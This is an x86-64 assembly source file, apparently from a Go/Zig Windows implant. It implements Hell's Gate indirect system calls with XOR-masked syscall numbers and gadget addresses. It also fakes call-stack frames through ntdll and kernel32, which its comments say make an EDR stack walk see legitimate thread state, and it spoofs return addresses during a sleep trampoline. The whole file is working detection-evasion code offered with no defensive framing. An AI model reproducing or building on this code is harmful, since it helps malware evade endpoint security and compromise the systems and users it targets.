.intel_syntax noprefix

.data
  wSystemCallEnc: .long 0
  qSyscallInsAddressEnc: .quad 0
  qFakeReturnEnc: .quad 0
  wMask: .long 0xDEADBEEF
  qMask: .quad 0xDEADBEEFDEADBEEF

  // Synthetic frame globals, set by frames.zig init_frames().
  // Frames through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart.
  .global qFakeRtlUserThreadStart
  .global qFakeBaseThreadInitThunk
  .global qRtlUserFrameSize
  .global qBaseThreadFrameSize
  qFakeRtlUserThreadStart:   .quad 0
  qFakeBaseThreadInitThunk:  .quad 0
  qRtlUserFrameSize:         .quad 0
  qBaseThreadFrameSize:      .quad 0

.text
.global hells_gate
.global hell_descent

// evasion_sleep trampoline. Pushes synthetic frames through the canonical
// Windows thread init chain: kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart.
// EDR stack walk sees legitimate thread state, not a gap.
.global evasion_sleep
.section .drectve
.ascii " -export:evasion_sleep"
.text
evasion_sleep:
    // Save Go return address. RSP points at it on entry.
    mov r11, [rsp]
    mov r10, rcx              // save sleep duration (first arg from Go)

    // Build BaseThreadInitThunk frame (calls RtlUserThreadStart).
    mov rax, qword ptr [rip + qBaseThreadFrameSize]
    sub rsp, rax
    mov rcx, qword ptr [rip + qFakeRtlUserThreadStart]
    add rcx, 0x14                // offset past BaseThreadInitThunk prologue
    mov [rsp], rcx

    // Build RtlUserThreadStart frame (chain termination).
    mov rax, qword ptr [rip + qRtlUserFrameSize]
    sub rsp, rax
    mov qword ptr [rsp], 0       // end of chain

    // Save desync RSP for teardown. Call Zig implementation.
    mov rbp, rsp
    mov rcx, r10              // restore sleep duration
    sub rsp, 0x28             // shadow space + alignment
    call evasion_sleep_inner
    add rsp, 0x28

    // Restore original stack: rewind through synthetic frames.
    lea rsp, [rbp]
    mov rax, qword ptr [rip + qRtlUserFrameSize]
    add rsp, rax
    mov rax, qword ptr [rip + qBaseThreadFrameSize]
    add rsp, rax

    // Restore Go return address and return.
    mov [rsp], r11
    ret

hells_gate:
  xor ecx, dword ptr [rip + wMask]
  mov dword ptr [rip + wSystemCallEnc], ecx
  xor rdx, qword ptr [rip + qMask]
  mov qword ptr [rip + qSyscallInsAddressEnc], rdx
  mov rax, r8
  xor rax, qword ptr [rip + qMask]
  mov qword ptr [rip + qFakeReturnEnc], rax
  ret

// Push standalone ret from ntdll .text before jmp to syscall;ret gadget.
// The gadget's ret returns there so kernel callstack shows ntdll frames.
hell_descent:
  mov r10, rcx
  mov eax, dword ptr [rip + wSystemCallEnc]
  xor eax, dword ptr [rip + wMask]
  mov r11, qword ptr [rip + qSyscallInsAddressEnc]
  xor r11, qword ptr [rip + qMask]

  mov rcx, r9                          // save arg4, rcx free after mov r10,rcx
  mov r9, qword ptr [rip + qFakeReturnEnc]
  xor r9, qword ptr [rip + qMask]
  test r9, r9
  jz   .Ldone
  push r9
.Ldone:
  mov r9, rcx                          // restore arg4
  jmp r11
